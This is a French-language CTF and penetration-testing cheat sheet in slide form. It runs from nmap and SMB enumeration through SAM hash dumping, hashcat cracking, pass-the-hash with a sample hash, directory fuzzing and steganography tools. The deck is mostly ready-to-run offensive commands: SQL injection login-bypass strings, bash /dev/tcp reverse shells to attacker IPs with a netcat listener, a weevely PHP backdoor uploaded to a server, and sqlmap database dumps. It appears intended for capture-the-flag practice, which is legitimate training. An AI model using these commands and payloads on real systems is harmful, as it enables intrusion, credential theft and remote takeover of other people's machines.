---
# System prepended metadata

title: Guidance CTF

---

---
slideOptions:
  transition: slide
---

# Guidance CTF

## Reconn

### Nmap
![](https://upload.wikimedia.org/wikipedia/fr/7/7e/LOGO_Nmap.jpg =70x)


nmap -p- -sC -v -sV $TG

nmap -p 80 -sV -sC -v $TG --script-args apipath=https://cve-search.org/api/

Choose <i class="fa fa-tv"></i> **nmap** in the top right sharing <i class="fa fa-share-alt fa-18"></i> menu and hit "**Preview**" to see your slide.

**Scan de ports dans un fichiers:**
```
nmap -v -sV 192.168.1.0/24 -oA subnet_1
```

**Lister hôtes avec port 80 ouvert:**
```
 cat subnet_1.gnmap | grep 80 / open | awk '{print $ 2}'
```

**Nmap silencieux et sans ping et "-A" pour avoir le service (la bannière)**
```nmap -sS -Pn -A @ipcible```

**Exporter la sortie dans un fichier Subnet1.xml :**
```nmap -Pn -sS -A -oX Subnet1 192.168.1.0/24```

On pourra notamment importer le fichier via msfconsole


> Source: https://adminsys-dev.com/securite/pentest/test-de-penetration-part-2-lexploitation
___
### Nessus


---
### SMB
**Vérifier connexion anonyme à smb**
```smbclient -L //192.168.1.5```
 
A la demande du mot de passe "touche entrée" si login ok.

**Lister les partages**
```nmap -p445 --script smb-enum-shares $TG```

**Se connecter à un repertoire**
```smbclient //$TG/nom_partage -N (pour No password)```

On peut aussi utiliser
```rpcclient -U "" -N $TG```
ou
```smbclient -U "" //$TG/nom_partage```

**Monter un partage smb***
```mount -t cifs -o username=null,password=null //10.10.10.134/Backups /mnt/share```

---
### Base sam
La base sam contient les hashes des mots de passe. elle se trouve dans /windows/system32/config. on y trouvre aussi le fichier "system"

Ce sont les deux fichiers à récupérer pour avoir les hashes.

**Récupérer les hashes avec samdump2***

```samdump2 SYSTEM SAM > hashes.txt```
 
**Craquer les hashes hashkiller**
https://hashkiller.co.uk/Cracker
y coller le mot de passe hasher
![image](https://hackmd.io/_uploads/SJBpKrc30.png)
ici ce sera la dernière partie du hash à donner (le mot de passe):
![image](https://hackmd.io/_uploads/SyOlqB9nA.png)

**craquer le hash avec hascat**
```hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt -o cracked.txt -r /usr/share/hashcat/rules/best64.rule```

**Technique pass the hash**
```crackmapexec smb $TG -u 'L4mpje' -H 26112010952d963c8dc4217daec986d9```
ou
```crackmapexec winrm 10.10.10.134 -u 'L4mpje' -H 26112010952d963c8dc4217daec986d9```

___



### Enumération automatique
Leanpeas
___
### Scan Web

* dirb http://monsiite.blabla
* ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://$TG/FUZZ 
* ffuf -w /usr/share/wordlists/dirb/big.txt:FUZZ -u http://site.blabla/FUZZ/ -mc 200
* gobuster dir -u 10.10.229.200 -w /usr/share/wordlists/rockyou.txt
#### Scan sous repertoires

* gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u $TG -t 50 --append-domain 
<!-- .slide: data-transition="zoom" -->


---


## Stegano 
![](http://www.blackmoreops.com/wp-content/uploads/2017/01/Steganography-in-Kali-Linux-Hiding-data-in-image-blackMORE-Ops.png =80x)

---

Pour extraire les informations des images:
exiftool image.jpg
zsteg image.jpg on peut utiliser le -a
strings image.jpg
steghide extract -sf image.jpg  (si il n'y a pas de sortie, un fichier sans nom, on peut lui donner un avec l'option -xf)
binwalk image.jpg
récupérer les fichiers:
binwalk -e or binwalk — dd=”.*” image.jpg

#### Brute force de l'image si mot de passe demandé
stegcracker image.jpg mon_dictionnaire

Pour récupérer un pdf:
xxd -ps ficher.pdf  (il transforme le fichier en hexdump)
on récupère le dump et le reformate en pdf
xxd -r -p dump.pdf > mon.pdf
<!-- .slide: data-transition="zoom" -->

---
## Forensics



---


## SQL

SQL Simple Injection

* admin' --
* admin' #
* admin'/*
* ' or 1=1--
* ' or 1=1#
* ' or 1=1/*
* ') or '1'='1--
* ') or ('1'='1--


---


## Reverse Shell

1. On the target: bash -i >& /dev/tcp/'my-own-ip'/4444 0>&1
2. another option: bash -c 'exec bash -i &>/dev/tcp/10.10.14.197/7777 <&1'
3. Listener on my machine: nc -lnvp 4444
4. Backdoor php
     4.1  génerer backdoor en php avec weevely 
     `weevely generate pw backdoor.php`
     4.2  uploader le fichier sur le serveur
     4.3  charger le fichier avec le bon chemin 
     `weevely http://192.168.56.111/academy/studentphoto/backdoor.php pw`

 
 
 ## Exploitation
 
 ### NFS ###
Trouver le point de montage de la cible 
```bash
showmount -e $TG
```
![](https://i.imgur.com/AkTmEWp.png)

Ensuite on fait le point de montage
```bash
mkdir /mnt/devtemp
mount -t nfs $TG:/srv/nfs /mnt/devtemp

```

___

### Bruteforce zip ###

```bash
fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt monfic.zip
```


### sqlmap

sqlmap -u "http://localhost:8080/?id=1" --batch -D --tables --dump
sqlmap -u "http://localhost:8080/?id=1" --batch --dbs --tables --dump -T "soccer_db"



### Sources

https://sumb0dy.medium.com/